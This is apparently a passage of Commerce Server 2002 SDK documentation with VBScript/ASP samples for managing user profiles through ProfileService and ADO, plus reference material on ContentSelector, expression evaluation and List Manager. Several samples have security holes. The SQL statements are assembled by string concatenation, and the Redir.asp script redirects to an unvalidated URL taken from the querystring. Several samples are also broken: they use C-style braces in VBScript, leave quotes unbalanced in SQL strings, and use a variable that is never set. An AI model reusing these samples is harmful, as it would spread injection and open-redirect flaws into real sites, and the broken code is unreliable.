oProfileService.Initialize sBDSConnect, "Profile Definitions"


Code to Enumerate Errors

This section shows how to enumerate any errors generated by the last Profiles resource operation, which includes any errors produced by the underlying technology. For more information, see ProfileService.Errors.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Retrieve the Errors collection.
    Dim oError, oErrors
Set oErrors = oProfileService.Errors
  3. Enumerate any errors that are present.
    If oErrors.Count <> 0 Then
   For Each oError In oErrors
      Response.Write "<BR> Error number = " & oError.Number & "</BR>"
      Response.Write "<P>" & oError.Description & "</P>"
   Next
EndIf

Set oErrors = Nothing


Code to Setup Bind Credentials to Directory Stores

This section shows how to bind profiles to a specific user.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Bind to a user using the full User Principal Name (UPN). Any profiles created after this binding will only be accessible by the user with the credentials user name = "someone@microsoft.com" and password = "mypassword".
    oProfileService.BindAs "someone@microsoft.com", "mypassword"
  3. Bind to a user using a SAM Account Name.
    oProfileService.BindAs "microsoft\someone", "mypassword"
  4. Bind to a user using the fully specified distinguished name of the security principal.
    oProfileService.BindAs "CN=someone,CN=Users,DC=microsoft,DC=com", _
 "mypassword"
  5. Clear the binding to access profiles not bound to a specific user.
    oProfileService.Unbind


Code to Create a New Profile

This section shows how to create a new profile. Two new profiles will be created, oUser1, a UserObject profile, and oAddress1, an Address profile.

Note

  • If the CreateProfile method fails on an aggregated profile (one that has multiple data sources), the DeleteProfile method must be called to clean up any entries in the data stores. In this case, the DeleteProfile method will produce an error that should be ignored.
  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Create two new empty profiles (ProfileObject objects) using the ProfileService object, oProfileService, created in Step 1. For information about the valid profile schema types (specified as the second parameter of the CreateProfile method) and their associated properties, see Profile Schema. The primary key for the Address profile is a globally unique identifier (GUID), obtained through a GenID object.
    Dim oUser1, oAddress1

Set oUser1 = oProfileService.CreateProfile("JoeUser@microsoft.com", _
 "UserObject")
If err.number <> 0 Then
   oProfileService.DeleteProfile "JoeUser@microsoft.com", "UserObject"
EndIf

Dim oGenID, sGUID
Set oGenID = Server.CreateObject("Commerce.GenID")
sGUID = oGenID.GenGUIDString

Set oAddress1 = oProfileService.CreateProfile(sGUID, "Address")
  3. Populate the desired properties of the profiles. The logon_name property of the oUser1 profile is already specified (as the first parameter of the CreateProfile method). Note that ProfileObject objects support extended dot notation and smart navigation. For more information, see ProfileObject Object.
    oUser1.GeneralInfo.first_name = "Joe"
oUser1.GeneralInfo.last_name = "User"

oAddress1.GeneralInfo.region_code = "WA"
oAddress1.GeneralInfo.country_code = "US"
  4. Save the profiles to the underlying Profile Store.
    oUser1.Update
oAddress1.Update
  5. Release the objects.
    Set oUser1 = Nothing
Set oAddress1 = Nothing


Code to Retrieve a Profile

This section shows how to retrieve a profile.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. The profile object can be retrieved by specifying the schema name of the ProfileObject object, and either the primary key value or a key name/value pair. The UserObject schema type has a primary key of logon_name and a join key of user_id, which is a globally unique identifier (GUID). For information about the valid profile schema types, see Profile Schema. Retrieve the oUser1 profile created in Code to Create a New Profile.
    • Retrieve by specifying the primary key value and the schema name.
      Dim oUser1
Set oUser1 = oProfileService.GetProfile("JoeUser@microsoft.com", _
 "UserObject")
    • Retrieve by specifying a key name/value pair and the schema name.
      Set oUser1 = oProfileService.GetProfileByKey("user_id", _
 "{74A38551-FFFF-FFFF-FFFF-0A20C90DC8D1}", "UserObject")


Code to Modify a Profile

This section shows how to modify the data stored in a profile. To modify the schema of a profile (the data structure), use the Profile Definition Designer in Commerce Server Business Desk. For more information, see Adding Properties to a Profile Definition.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. See Code to Connect to the Profile Store.
  2. Retrieve the oUser1 profile. For more information, see Code to Retrieve a Profile.
  3. Modify the first_name and tel_number of the oUser1 profile. This example uses smart navigation instead of the Fields collection to access the profile properties. For information on the available properties for the profiles shipped with Commerce Server, see Profile Schema. Note the two different syntaxes available for accessing the properties. Both are equivalent.
    oUser1.first_name = "Joseph"
oUser1.tel_number = "(123) 456-7890"

oUser1.GeneralInfo.first_name = "Joseph"
oUser1.GeneralInfo.tel_number = "(123) 456-7890"
  4. Save the change to the Profile Store.
    oUser1.Update


Code to Delete a Profile

This section shows how to delete a profile. Care must be taken when deleting a profile due to possible expression dependencies on the deleted profile.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. The profile object can be deleted by specifying the schema name, and either the primary key value or a key name/value pair of the ProfileObject object. The UserObject schema type has a primary key of logon_name and a join key of user_id which is a globally unique identifier (GUID). For information on the valid profile schema types, see Profile Schema. Delete the oUser1 profile created in Code to Create a New Profile.
    • Delete by specifying the primary key value and the schema name.
      oProfileService.DeleteProfile "JoeUser@microsoft.com", "UserObject"
    • Delete by specifying a key name/value pair and the schema name.
      oProfileService.DeleteProfileByKey "user_id", _
 "{74A38551-FFFF-FFF6-FFFF-0A20C90DC8D1}", "UserObject"


Code to Retrieve XML Data and Schema

This section shows how to retrieve a list of all defined profile schema names, and how to retrieve the schema corresponding to one of these schema names. Then, the Extensible Markup Language (XML) data and schema representation of a ProfileObject object is obtained.

  1. If not already connected, create a ProfileService object, oProfileService, and establish a connection to the Profile Store. For information about connecting to the Profile Store, see Code to Connect to the Profile Store.
  2. Create an empty XML Document Object Model (DOM) document.
    Dim xmlDoc
Set xmlDoc = CreateObject("Microsoft.XMLDOM")
  3. Retrieve the XML string containing the list of all defined profile schema names and load it into the empty XML DOM document.
    xmlDoc.loadXML( oProfileService.GetProfileDefXML("", True) )
  4. Retrieve the collection of "ElementType" nodes that contain the names of the profile schemas.
    Dim xmlNodes
Set xmlNodes = xmlDoc.getElementsByTagName("ElementType")
  5. Retrieve the first profile schema name.
    Dim sSchemaName
sSchemaName = _
 xmlNodes.item(0).attributes.getNamedItem("name").nodeValue
  6. Retrieve the XML string for the schema corresponding to the first profile schema name.
    Dim sXMLSchema
sXMLSchema = oProfileService.GetProfileDefXML(sSchemaName, False)
  7. Retrieve the schema and data representation for the profile, oUser1, created in Code to Create a New Profile.
    Dim sXMLSchemaAndData
sXMLSchemaAndData = _
 oUser1.GetProfileXML(psRetrieveSchemaAndData, False)


Code to Perform Bulk Operations using ADO and SQL

This topic shows how to perform bulk operations on profile data using ActiveX Data Objects (ADO) and SQL. New profiles are added to the UserObject profile, one of the properties is then updated, and finally, all inactive accounts are deleted. For more information about the UserObject profile, see UserObject Profile Schema.

  1. Create a SiteConfigReadOnly object and initialize it for the "Retail" site.
    Dim oSiteConfigReadOnly
Set oSiteConfigReadOnly = Server.CreateObject _
 ("Commerce.SiteConfigReadOnly")
oSiteConfigReadOnly.Initialize "Retail"
  2. Retrieve the connection string to the Profile Store and release the SiteConfigReadOnly object.
    Dim sCSConnect
sCSConnect = oSiteConfigReadOnly.Fields("Biz Data Service") _
 .Value.Fields("s_CommerceProviderConnectionString").Value

Set oSiteConfigReadOnly = Nothing
  3. Create an ADO Connection object and an ADO Command object and open a connection to the Profile Store.
    Dim oConnection As New ADODB.Connection
Dim oCommand As New ADODB.Command
Set oCommand.ActiveConnection = oConnection
  4. Create and execute a query to add new profiles to the UserObject profile. Assume the data is stored in an array with the following format (not all fields are shown).
    Dim sQuery
Dim arNewCustomers()
arNewCustomers(0, 0) = "johndoe"             ' Unicode string
arNewCustomers(0, 1) = 1                     ' Integer
arNewCustomers(0, 2) = {d '2002-01-31'}      ' {d 'YYYY-MM-DD'}
arNewCustomers(0, 3) = {F8677EA7-1A7E-4969-8771-F917C4EA96C8} ' GUID

For i = 1 To UBound(arNewCustomers)
   sQuery = "INSERT INTO Customers (u_logon_name, " & _
                                   "i_user_type, " & _
                                   "d_date_registered, " & _
                                   "g_org_id) " & _
                       "VALUES " & (arNewCustomers(i, 0) & ", " & _
                                    arNewCustomers(i, 1) & ", " & _
                                    arNewCustomers(i, 2) & ", " & _
                                    arNewCustomers(i, 3) & ")"
   oCommand.CommandText = sQuery
   oCommand.Execute()
Next
  5. Check the procedure. If an INSERT method only partially succeeds against aggregated stores, the DeleteProfile method of the ProfileService object must be called to clean up the partially inserted data.
    Dim rsProfiles As ADODB.Recordset

sQuery = "SELECT (u_logon_name, i_user_type, d_date_registered, " & _
                  g_org_id) FROM Customers " & _
         "WHERE date_created = {d '2003-01-31'}"" & _
         "ORDER BY d_date_registered"

oCommand.CommandText = sQuery
Set rsProfiles = oCommand.Execute()
  6. Change the organization ID for the new customers.
    sQuery = "UPDATE Customers " & _
         "SET g_org_id = '{2B544800-4169-4C49-8713-1B794078B4C9}'" & _
         "WHERE date_created = {d '2003-01-31'}"" & _

oCommand.CommandText = sQuery
oCommand.Execute()
  7. Delete all inactive accounts.
    sQuery = "DELETE FROM Customers " &
         "WHERE i_account_status = 0"

oCommand.CommandText = sQuery
oCommand.Execute()
  8. Close the connection and release the objects.
    oConnection.Close
Set rsProfiles = Nothing
Set oConnection = Nothing
Set oCommand = Nothing


Code to Delete Unused Profiles

This topic shows how to use the [ProfileSystem.date_last_changed] property in the default schema to delete profiles that have been unused for some arbitrary time.

The sample script below deletes user-profile objects that were last changed on October 4 2000 or before. The date is expressed in the form {d '2001-10-5'}.

To use the script, you will need to supply the correct server name, myserver, and Password.

Dim strDSN
Dim strSQL
Dim objCN

Set objCN = WScript.CreateObject("ADODB.Connection")
Set objRS = WScript.CreateObject("ADODB.Recordset")

strDSN = "Provider=commerce.dso.1;Data Source = _
  MSCOP://INPROCCONNECT/Server=myserver:" & _
  "Catalog=Profile Definitions:Database = Retail_commerce:" & _
  " Trusted_Connection=Yes:"
objCN.Open strDSN

strSQL = "
DELETE FROM [UserObject]
WHERE [ProfileSystem.date_last_changed] < {d '2001-10-5'}
"

objCN.Execute(strSQL)

Set objCN = Nothing


Code to Decrypt a Persistent Cookie after the Key has Changed

This topic shows how to decrypt a cookie that was encrypted with an obsolete key. This is not a complete example because many of the details will be specific to your application. You will need to implement a method for storing and retrieving the obsolete keys. If you store more than one obsolete key, then you will need to change the code to try each saved key.

On Error Resume Next

'Try the current key
Dim sUserID
sUserid = auth.GetUserid(enumMSCS_ProfileTicketType)

'If the decryption fails try a stored key
if (err.number = <errcode>)
'Use the error code for NTE_BAD_DATA, NTE_BAD_KEY, or NTE_BAD_HASH as required.
{
   Dim sCookie, sOldEncryptionKey
   sOldEncryptionKey = 'code to retrieve old encryption key
   sCookie = Request.Cookies("MSCSAuth")
   sUserid = auth.GetUseridFromCookieAndKey(sCookie, sOldEncryptionKey)

   if Not ((err.number = <errcode>)
'Use the error code for NTE_BAD_DATA, NTE_BAD_KEY, or NTE_BAD_HASH as required.
   {
      auth.SetAuthTicket(sUserID, bCookieSupport, nTimeWindow)
   }
   else
   {
      'Cookie cannot be decrypted, redirect to force a new login.
   }
}

On Error Goto 0


Code to Use the ProfileService Object or Commerce Server OLEDB Provider to Update Passwords

This section describes how to update passwords using different methods.

If you are using Active Directory to store passwords, then passwords must be configured as multi-valued properties. When the passwords are changed, the sequence of values must be ('<old password>', '<new password>'). The following SQL query example illustrates this:

UPDATE UserObject
SET GeneralInfo.user_security_password = ('<old-password>', _
                                         '<new-password>')
WHERE GeneralInfo.logon_name = '<logon-name>'

If you are using the ProfileService object, an array of values must be used. The old password must be the first element of the array; the new password must be the second element. The following example illustrates this:

Dim objProfile
Dim Passwords(2)

Passwords(0) = "<old-password>"
Passwords(1) = "<new-password>"
' <Code to create and initialize ProfileService object omitted>
Set objProfile = ProfileService.GetProfile("<logon-name>", "UserObject")
objProfile.GeneralInfo.user_security_password = Passwords
objProfile.Update


Code to Retrieve Extended Error Information from the Commerce Server OLEDB Provider

This example script demonstrates retrieving extended error information from the Commerce Server OLEDB provider connection object in the event of an error. The example illustrates handling the entry of an incorrect SQL query statement: the correct statement to submit would include "GeneralInfo.logon_name", instead of "GeneralInfo.login_name" as is attempted in this example. After the errors are retrieved from the errors collection, they are displayed in a message box.

Option Explicit
' Declare the varibles and objects used.
Dim Dsn
Dim cn, rs
Dim Sql, ErrorMessage
Dim i

' Update the connection string to have the right server,
' user name and password.
Dsn="url=mscop://InProcConnect/Server=<server-name>:Database=BlankSite_COMMERCE:Catalog=Profile Definitions: Trusted_Connection=Yes:"

' Create the ADO connection and Record objects
Set cn = CreateObject("ADODB.Connection")
Set rs = CreateObject("ADODB.Record")

' Open the connection object using the Dsn.
cn.Open Dsn

' Build up the query.
Sql = ""
Sql = "SELECT "
Sql = Sql + "[GeneralInfo.login_name],"
' Note: It should be [GeneralInfo.logon_name] and not [GeneralInfo.login_name]
Sql = Sql + "[GeneralInfo.tel_number]"
Sql = Sql+ "FROM [UserObject]"

' Set resume next condition to do custom error handling.
On error resume next

' Execute the query constructed above.
Set rs = cn.Execute(Sql)

' Check for error code.
if Err.number <> 0 then

   ' Reset custom error handling.
   On Error goto 0

   ' Set the error message to blank
   ErrorMessage = ""

   ' Loop over all the error messages in the errors collection.
   For i = cn.Errors.Count to 1 step -1
ErrorMessage = ErrorMessage & chr(10) _
   & "Error code: 0x" & CStr(Hex(cn.Errors(i-1).Number)) & chr(10) _
   & "Error description: " & cn.Errors(i-1).Description  _
   & "Source: " & cn.Errors(i-1).Source & chr(10)
   Next

   ' Display the error messages collected above.
   MsgBox ErrorMessage

end if

' Indicate that the operation completed.
MsgBox "Done!"


Code to Retrieve and Set Multi-Valued Attributes

In this example, a previous page has posted a value titled "theValue" which contains multiple values in a string separated by semicolons: "valueone;valuetwo;valuethree". This is split into an array using the VBScript Array() function and then used to update the users profile.

The following points hold for this example:

  • The Site Name is hard coded instead of being retrieved from the Application object.
  • The Profile Service object is created on the page. There is normally one instance of this object that is created in Global.asa and stored in the Application object. This global instance would normally be used on a production page.
  • The specific profile instance to update is hard coded on the page. This is rarely the case in a production page.
  • Error checking is omitted for clarity.
<html>
<body>
<%
Dim strSiteTerms, aTermArray, SiteName, oProfileService, oUser

' The Site Name would normally be retrieved from
' the Application object.
SiteName = "SupplierAD"

' The ProfileService object would normally be retrieved from the Application object.
Set oProfileService = GetProfileService(SiteName)

' Get the SiteTerms set into an array.
strSiteTerms = Request("theValue")
aTermArray = Split(strSiteTerms, ";")

' Get a profile. This would not normally be hard coded.
Set oUser = oProfileService.GetProfile("JoeUser", "UserObject")

' Modify and update the multi-valued SiteTerm with
' the information provided.
oUser.Favorites.FavoritePets = aTermArray
oUser.Update

Function GetProfileService(strSiteName)
Dim oProf, strConn
strConn = GetConnectionString(strSiteName)
Set oProf = Server.CreateObject("Commerce.ProfileService")
oProf.Initialize strConn, "Profile Definitions"
Set GetProfileService = oProf
End Function

' Get the Profile Service connection string.
Function GetConnectionString(strSiteName)
Set SiteCFG = Server.CreateObject("Commerce.SiteConfigReadOnly")
SiteCFG.Initialize strSiteName
GetConnectionString = SiteCFG.Fields("Biz Data Service").Value. _
Fields("s_BizDataStoreConnectionString").Value
End Function
%>

' The profile has been updated.
</body>
</html>


Targeting Objects

The content selection objects are used to select custom content for display on Web pages and are part of the Content Selection Framework (CSF). Although the CSF uses many different objects to select content, such as the ContentList object, the ContentListFactory object, and the CacheManager object, this section focuses on the ContentSelector object, which is the main object used to get and display targeted content. The ContentSelector object invokes different CSF pipelines to select different types of content based on the dictionary passed to the GetContent method.

The Targeting Programming Concepts topic describes the concepts related to programming with the Content Selection objects.

Objects

Visual Basic Reference | C++ Invocation | Description
ContentList | ContentList | Contains a representation of each content item eligible for a given request for content. Also provides services to Content Selection Framework (CSF) components such as filtering and sorting.
ContentListFactory | ContentListFactory | Allows creation of ContentList objects, and stores data shared by those objects.
ContentListSchema | ContentListSchema | Allows manipulation of the schema for a ContentListFactory object.
ContentSelector | ContentSelector | Allows specification and retrieval of page content.
ExpressionEval | ExpressionEval | Allows selection and evaluation of one or more expressions against a set of profiles.
ExpressionStore | ExpressionStore | Provides methods to create, save, modify, and retrieve expressions.
ExprEvalContext | ExprEvalContext | Stores a specific evaluation context (set of profiles) that can be used for multiple expression evaluation operations.
ExprFltrQueryBldr | ExprFltrQueryBldr | Translates an expression in XML form into a SQL filter query string.
ListManager | ListManager | Provides methods to create, destroy, manage, and manipulate lists.
RowCollection | RowCollection | Allows enumeration of the rows returned from the ActiveRows and AllRows properties, and the Search method, of a ContentList object, and from the AllRows property and the Search method of a ContentListFactory object.

Examples

Example | Description
Code to Support the ContentSelector Object | Contains code to include in the Global.asa file to support the ContentSelection object.
Code to Execute the ContentSelector Object | Contains code to include in the Default.asp file that you use to create the ContentSelection object, code that you use with the GetContent method, and code you use to write ads to the Web page.
Code to Connect to the Expression Store | Describes how to connect to, and disconnect from, the Expression Store.
Code to Create an Evaluation Context | Describes how to create an evaluation context that contains the data for evaluating an expression against.
Code to Evaluate an Expression Stored as an XML Fragment | Describes how to evaluate an expression stored as an XML fragment.
Code to Create a New Expression | Describes how to create a new expression.
Code to Manipulate Expressions | Describes how to retrieve or delete expressions from the Expression Store, rename an expression, or translate between expression IDs and expression names.
Code to Evaluate a Single Expression | Describes how to evaluate a single expression.
Code to Evaluate Groups of Expressions | Describes how to create a stored evaluation context and evaluate groups of expressions against this common context.
Code to Import and Export Expressions | Describes how to import and export expressions.
Code to Initialize the ListManager Object | Describes how to create and initialize the ListManager object.
Code to Create a List | Describes how to create a list from a file.
Code to Manipulate Lists | Describes the operations performed on lists such has copy, subtract, union, and export, and the procedure to add and subtract a user from a list.
Code to Enumerate Available Lists | Describes how to retrieve and enumerate the available lists and set list properties, such as the list name and description.


Targeting Programming Concepts

This section contains the following:

  • ContentSelector Programming Concepts
  • Expression Programming Concepts
  • List Management Programming Concepts


ContentSelector Programming Concepts

The ContentSelector object is used to invoke Content Selection Framework (CSF) pipelines to display dynamic, targeted content on a Web page. The ContentSelector object is a property bag that inherits the properties and methods of the Dictionary object and adds the GetContent method. The dictionary object passed to the GetContent method, the global Context dictionary for the CSF application, is used to pass global objects and other values to the pipeline. These values include the location of the redirector script (Redir.asp), the expression evaluator object, and the Content Selection pipeline that should be run to select the content. These values do not change on a per-request basis.

Certain pipeline components in the CSF pipeline expect certain values, some optional, to be set in the dictionary. For example, the CSF pipeline expects the Size, PageGroups, NumRequested, and UserProfile keys to be set in the dictionary.

Redirecting Users

Advertising Sitelet

Redirecting Users

To capture and record the final click events before users navigate away from your site, Commerce Server 2002 includes the redirector script, Redir.asp. For example, if an advertiser on your site supplies you with an ad and requests that when the ad is clicked the browser should navigate to the advertiser's site, then without a mechanism such as the redirector, Commerce Server 2002 has no way to know that the user clicked on the ad. Being able to track these final click events enables you to analyze the performance and success of targeted content on your Web site.

To implement the Redir.asp script, you must create an Event Processing pipeline in the Global.asa file. The following code creates the Event Processing pipeline and can be added to the code in Code to Support the ContentSelector Object.

Dim dCSFAdsContext
Set oPipe = Server.CreateObject ("Commerce.OrderPipeline")
oPipe.LoadPipe (oPipelineMap.RecordEvent)
Set Application ("CampaignsCSFEventPipe") = oPipe

The following code should be included in the Redir.asp script.

Notes

  • The Solution Sites and the Advertising Sitelet include versions of the Redir.asp script that you can reuse.
  • Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.
Sub Main()
    Dim oPipe, sUrl, sCacheName, oContentList
    Dim dictCache, dictOrder, dictContext
    Dim Errlvl, oFactory, ciid, sEvt

    ' Get Pipeline object.
    Set oPipe = Application("CampaignsCSFEventPipe")

    ' Get the Content cache that this event is associated with.
    sCacheName = Request.Querystring("CacheName")

    If sCacheName <> "" Then
    ' Get cache object
    Set dictCache = Application("MSCSCacheManager").GetCache(sCacheName)

        ' Get name of event to record (default is CLICK).
        sEvt = Request.Querystring("evt")
        If sEvt = "" Then sEvt = "CLICK"

        ' Set up Order and Context dictionaries and execute the pipeline.
        If ciid > 0 Then
            ' Create dictionaries
            Set dictOrder = Server.CreateObject("Commerce.Dictionary")
            Set dictContext = Server.CreateObject("Commerce.Dictionary")

            ' "_winners" is the item(s) to record the event for.
            ' (may be a simplelist or a scalar)
            dictOrder("_winners") = ciid

            ' "_event" is the name of the event to record. You cannot
            ' record more than one event name per pipeline invocation.
            dictOrder("_event") = sEvt

            ' Create a content list of items from the given cache.
            Set oFactory = dictCache("Factory")
            Set oContentList = oFactory.CreateNewContentList
            Set dictOrder("_content") = oContentList

            ' Get the in-memory dictionary of campaign item performance.
            Set dictOrder("_Performance") = dictCache("_Performance")
            dictContext("SiteName") = sCacheName

            ' Look up page group ID.
            If Request.QueryString("PageGroupId") <> "" Then
                dictContext("PageGroupId") =
                CLng(Request.QueryString("PageGroupId"))
            Else
                dictContext("PageGroupId") = 0
            End If

            ' Execute the pipeline to record the event.
            oPipe.orderExecute 1, dictOrder, dictContext, Errlvl

        End If
    End If

    ' Redirect to the supplied URL.
    sUrl = Request.Querystring("url")
    If sUrl <> "" Then
        Response.Redirect(sUrl)
    Else

        Response.Write(MSCSMessageManager.GetMessage
        ("L_NoRedirectionURLSpecified_ErrorMessage", sLanguage))
    End if
End Sub

Advertising Sitelet

Included with Commerce Server 2002 Software Development Kit (SDK) is the Advertising Sitelet. The Advertising Sitelet is an example of how ContentSelector objects can be implemented to show targeted content based on the profile of the user.

For more information about unpacking the Advertising Sitelet, see Advertising Sitelet.


Expression Programming Concepts

The Expression Evaluator Engine (EEE) consists of the evaluation core logic, the ExpressionStore, and ExpressionEval objects, and caches for loaded expressions, object properties, and expression results as shown in the following figure.

Expression Evaluation Engine

The EEE consists of the following parts:

  • Evaluation Context
  • Evaluation Core
  • Expression Cache
  • Expression Result Cache
  • ExpressionEval Object
  • ExpressionStore Object
  • Object Property Cache

Evaluation Context

An evaluation context is used to evaluate a set of expressions against the same profiles. Performance is gained when evaluation contexts are used because it allows the EEE to do more intelligent caching. Specifically, it enables caching of profile properties and expression results. This is used by the CSF EvalTargetGroups component, for example, because this component evaluates many expressions against the same profiles and many of those expressions are commonly repeated in multiple target groups.

If an evaluation context is not explicitly created, one will automatically be created each time an expression is evaluated. Such context objects are automatically released once the expression has been evaluated.

When targeting advertisements or discounts, it is possible to build targeting expressions using two profile definitions: User profile and TargetingContext profile. Typically in Commerce Server ASP-based sites, a Dictionary object is used as the run-time instantiation of the TargetingContext profile. With a Dictionary object there is no enforcement of the profile schema and it is possible to set properties on the dictionary that cannot be targeted because they are not part of the design-time view of the profile schema. It has always been possible to use true Profile objects for the TargetingContext profile at runtime, but the default schema of the TargetingContext profile in Commerce Server 2000 did not allow for this because there was no unique key property.

In Commerce Server 2002 ASP .NET-based sites, the CommerceContext.TargetingSystem.TargetingContextProfile property represents a true profile object with a strictly enforced schema. The default TargetingContext profile schema has been changed to include a unique key property, unique_id. On each page request, a unique value for this property is automatically generated by the TargetingSystemInfo class.

ASP-based sites may also optionally provide a true Profile object at runtime as the TargetingContext profile, but the site would need to use the Commerce.GenId class to manually create a new Guid for each instance of the TargetingContext profile that is created and assign that to the unique_id property.

See Also

TargetingSystemInfo.TargetingContextProfile Property

Evaluation Core

This is the core logic of the EEE. It handles the actual evaluation of the expression.

Expression Cache

Expressions are loaded from the Expression Store into this cache. When an expression is to be evaluated, the ExpressionEval object firsts looks for the expression in this cache. If the expression is not found, it is loaded. For enhanced performance at run-time, pre-load expressions into the expression cache using the LoadExpr or LoadAll methods of the ExpressionEval object.

Expression Result Cache

The result of an evaluated expression is cached so the result can be returned without re-evaluating the expression a second time for a given evaluation context.

ExpressionEval Object

This object loads and flushes the expression cache, creates the evaluation contexts against which expressions are evaluated, and performs the evaluations on the expressions. For more information, see ExpressionEval Object.

ExpressionStore Object

This object interacts with the Expression Store to create, delete, save, retrieve, query, import, and export expressions. For more information, see ExpressionStore Object.

Object Property Cache

When an expression is initially evaluated, references to the dependent profile objects are stored in this cache. During evaluation, as the object properties are accessed, they are also stored in this cache for reuse.


List Management Programming Concepts

List Types

List Manager contains the functionality to manipulate two types of lists, Generic lists and Mailing lists. Each type may also have User and Mailable attributes. Lists are designated as static or dynamic, depending on when the data is imported.

You use a Mailing list with Direct Mailer. It contains a list of recipients who have been designated to receive an e-mail ad or a list of recipients that should not receive the mailing. The default flags value indicates a Mailing list; the LISTFLAG_GENERIC flag must be set when the list is created or when the list is imported if the list you are creating is not a Generic list. A Mailing list implies a list with a specific set of column names and types. Direct Mailer uses only Mailing lists, although a Mailing list may be automatically extracted from a Generic list so long as it is a Mailable Generic list.

A Generic list may have any set of column names and types — it essentially maps to a SQL Server database table. When a list is imported into List Manager from the Analysis reporting feature or the Predictor segment viewer, it is imported as a Generic list. Generic lists may be converted to Mailing lists if they meet certain requirements. A Generic list may be imported from an SQL query but cannot be imported from a flat file.

A Mailable list is any list with an rcp_email column. When you import or create a Mailable list, you indicate that it is a Mailable list by setting the LISTFLAG_MAILABLE flag. A Generic list may or may not be Mailable; a Mailing list is always Mailable. After importing a Generic list, ListManager automatically attempts to detect a Mailable list, and sets the appropriate flag. The Mailable list flag exists for integration with Direct Mailer features, so that Direct Mailer can identify which lists to use for e-mail recipients and opt-out lists.

A User list is any list with an rcp_guid column. When you import or create a User list, you indicate that it is a User list by setting the LISTFLAG_USER flag. A Generic list may or may not be a User list; a Mailing list is always a User list. After importing a Generic list, List Manager automatically attempts to detect a User list, and sets the appropriate flag. The User list flag exists for integration with User Profile Management features. For example, it is possible to import a list from the Segment Viewer module in Commerce Server Business Desk and set a property in the user profile of each user in that list to indicate their membership in a particular segment. This information is then available for targeting by the Content Selection Framework for advertising and discounts.

Lists may be created as either static or dynamic. In a static list, records are imported at the time the list is created. A dynamic list imports records on demand when referenced by another operation.

Flag Values

The following table lists the possible flag parameter values used to determine the type of list created. Values may be combined using the logical OR operator to specify more than one flag.

List Type | Value | Description
DEFAULT | 0x0 | A Mailing list.
HIDDEN | 0x1 | The list should not be exposed in the user interface.
DYNAMIC | 0x2 | A dynamic list.
USER | 0x4 | A User list (contains an rcp_guid column).
GENERIC | 0x8 | A Generic list.
MAILABLE | 0x10 | A Mailable list (contains an rcp_email column).

Import/Export

List Manager can import lists from the following sources:

  • An SQL query run against an Open Database Connectivity (ODBC) data source.
  • A text file (comma-separated value (CSV) format).

List Manager can export lists to the following destinations:

  • A SQL Server 2000 table in an external database.
  • A text file (CSV format).

Text Files

If an absolute file path and name is not specified when importing or exporting a list, List Manager looks for the file relative to a root folder named "CommerceLists" on the local computer running the List Manager service. If the folder does not exist, an error is returned.

List Manager recognizes the following input text file format:

<Mail-to Address>,<User ID>,<Format>,<Locale>,<Source URL><cr><lf>

The only required field is Mail-to Address. The optional Format field should be one of the following: 1 - text, 2 - MIME, or 3 - MHTML. Any double quotation marks surrounding a field will be stripped. A trailing comma will produce an error.

List Manager exports text files in the same format as described above with all fields enclosed in double quotation marks.

Asynchronous Mode

List Manager allows time-consuming operations to run in an asynchronous manner. When run asynchronously, the operation returns immediately after the process has started. An application that starts an operation asynchronously has the following additional methods available:

  • The WaitOnOperation method returns when the operation is finished, or a timeout has occurred.
  • The GetOperationInfo method returns all details of the operation including its current status.
  • The CancelOperation method signals the operation to quit. If the operation does not quit in two minutes, the operation is terminated.

Database Tables

List Manager stores information about lists and operations in the lm_master and lm_master_operations database tables, respectively. For information on the format of these tables, see ListManager.GetLists and ListManager.GetOperations.


ContentList Object [C++]

ContentList Object [Visual Basic]

Use this object to access a particular collection of content items. The ContentList object provides aggregated access to the private data that it stores and to the shared data stored in the ContentListFactory object that created it. This object also flows through the Content Selection Framework (CSF) pipeline for the purpose of scoring content items.

ProgID: | Dependent (See Remarks for more information)
COM Class Name: | ContentList
Type Library Name: | Microsoft Commerce 2002 Cache Manager Type Library
DLL Name: | mscscache.dll
Threading Model: | Both
[C++]
COM Interface Name: | IContentList
Interface ID Constant: | IID_IContentList
Header File: | cacheint.h, mspu_guids.h

[C++] In C++, use the IContentList and IDataContainer interfaces to access the methods and properties of a ContentList object.

Methods

[C++]
Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | Gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner.
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner.
SetScore | Sets the score of an item in a ContentList object.
[Visual Basic]
Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on all rows based on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | This method is not usable from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a collection of content items that match the search criteria.
SetData | This method is not usable from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).
SetScore | Sets the score of an item in a ContentList object.

Properties

[C++]
Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | Contains a RowCollection object containing all rows in this ContentList object. This property is read-only.
Count | long | Contains the number of rows in this ContentList object. This property is read/write.
Factory | IContentListFactory | Contains the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | Fields | Contains the Fields collection for this ContentList object. This property is read-only.
RowLimit | long | Contains the maximum number of active rows. This property is read/write.
Sorted | VARIANT_BOOL | Stores a flag that controls whether the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
